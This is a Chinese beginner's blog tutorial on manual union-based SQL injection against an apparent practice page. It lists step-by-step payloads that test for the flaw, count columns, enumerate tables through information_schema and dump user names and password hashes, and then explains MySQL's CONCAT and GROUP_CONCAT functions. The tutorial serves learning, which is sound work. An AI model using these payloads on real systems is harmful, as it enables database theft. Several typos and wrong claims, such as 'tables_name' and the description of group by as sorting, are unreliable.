关于SQL注入理论的内容,小白之前的博客有写,有兴趣的可以去看一看哦~SQL注入原理详解
在SQL注入测试界面的url输入
?id=1
下面让我们继续以这个例子来更深入的理解一下SQL注入的思路。
比方说我现在想获取的是数据库当中某一个用户的密码,那么我们该怎么做呢?
1.查看网页源代码分析
这个原理篇有讲就不废话了,分析的目的就是为了查看是否存在注入漏洞。
2.通过测试性的方式我们注入代码,(这里注意,?不要打成中文的)
?id=1' and 1=1--+
?id=1' and 1=2--+
看上面两个图:首先我们在输入的开头添加一个 ’ 起到闭合代码的作用。然后我们添加判断语句and 1=1或者1=2,如果前者能够正常访问,后者访问不正常(因为and 1=2恒假,所以访问不到正确的网页),那么我们就可以确定,存在注入漏洞。
3.在验证了漏洞确实存在之后,因为现在发现的数字型的注入(id=x),所以我们通过order by子句(将数据通过某一列从小到大排列,如果是字母就是abcd……)来测试有多少行数据。
4.我们假设猜有4行数据(这个猜测完全是随机的)
发现报错:在从句中没有发现字段4
5.那么我们再往下尝试
发现访问正常,那么我们就可以确定,现在ID这一项是有3个值。
6.既然发现了有3个值,那么我们尝试通过联合查询来获取一些敏感信息。
?id=1 'and 1=2 union select 1,user(),database()--+
使用这条命令我们可以爆出服务端MYSQL当前的用户名,当前的数据库名,可以利用数据库名进一步获取表名。(因为UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。所以Union前面的查询我们用1=2给取消掉)
7.下面我们知道了数据库名,那么下一步肯定就是要获取数据库的表名。
我们尝试输入代码
?id=1 'and 1=2 union select 1,2,group_concat(tables_name) from information_schema.tables where table_schema=database()--+
发现爆出了两个表名
8.接下来我们再利用information_schema数据库查询列名。
注入代码
?id=1 'and 1=2 union select 1,group_concat(name),group_concat(pass) from users --+
最终我们获取到了我们需要的数据,下面的一行代码就是我们要的密码啦,是MD5加密之后的
值得一提的函数用法:
CONCAT()函数
concat()函数用于将多个字符串连接成一个字符串。
如下是一个表名为info的表
id | name |
---|---|
1 | litbai |
a.语法及使用特点
concat(str1,str2,……)
返回结果为连接参数产生的字符串。如果有任何一个参数为NULL,则返回值为NULL,可以有一个或者多个参数。
b.使用示例
select concat('id',',','name') as zhang from info limit 1;
返回结果为(注意返回结果中的,也是拼接的字符串哦)
zhang |
---|
1 ,litbai |
select concat(‘id’,‘zhang’,name);返回结果为
concat(‘id’,‘zhang’,‘name’) |
---|
null |
CONCAT_WS()函数
当我们想指定参数之间的分隔符时,我们可以使用concat_ws()参数
a.语法及使用特点
concat_ws(separator,str1,str2,……)
concat_ws即 concat with separator,即带有分隔符的concat
分隔符可以是一个字符串也可以是其他参数,如果分隔符为null,那结果肯定也为null。函数会忽略任何分隔符参数后面的null值,但是concat_ws()不会忽略任何空字符串。(然而会忽略所有的null)
b.使用示例
select concat_ws('~',id,name) as zhang from info limit 1;
返回结果
zhang |
---|
1~litbai |
select concat_ws(’~’,‘id’,‘null’,‘name’);
返回结果
concat_ws(’~’,‘job’,‘null’,‘age’) |
---|
job~age |
GROUP_CONCAT()函数
group_concat函数返回一个字符串结果,该结果由分组中的值连接组合而成。
例如一个info表的数据如下:
select name,id,job from info where name in ('lit','bai');
name | id | job |
---|---|---|
lit | 1 | teacher |
lit | 2 | worker |
bai | 34 | code monkey |
bai | 46 | cleaner |
a.语法及其特点
group_concat([distinct]expr[,expr…]
[order by {unsigned_integer | col_name | formula}[asc | desc] [,col…]]
[spearator str_val])
在mysql中,你可以得到表达式结合体的连结值。
通过使用distinct可以排除重复值。如果希望对结果中的值进行排序,可以使用oder by子句。
separator是一个字符串的值,他被用于插入到结果值,默认为一个逗号,可以通过使用separator“”完全的移除这个值
b.使用示例
select name ,group_concat(id) from info where name in('lit','bai') group by name
name | group_concat(id) |
---|---|
bai | 34,46 |
lit | 1,2 |
select name,group_concat(distinct id oder by id desc separator'~') from info where name in ('lit','bai') group by name
name | group_concat(distinct id oder by id desc separator’~’) |
---|---|
bai | 46~34 |
lit | 2~1 |
select name,group_concat(concat_ws(',','id','job') order by id desc separator'.')from info where name in ('lit','bai') group by name;
name | group_concat(concat_ws(’,’,‘id’,‘job’) order by id desc separator ‘.’) |
---|---|
bai | 46,cleaner.34,code monkey |
lit | 2,worker.1,teacher |
group by()函数与order by()函数
group by 从大到小排序
order by() 从小到大排序
order by() desc 从大到校排序
值得一提的数据库用法
information_schema可以理解为师所有数据库的汇总,
比如我要
查询所有数据库
select * from information_schema;
查询litbai库当中的所有表名
select groupconcat(table_name) from information_schema.tables where table_schema=‘litbai’;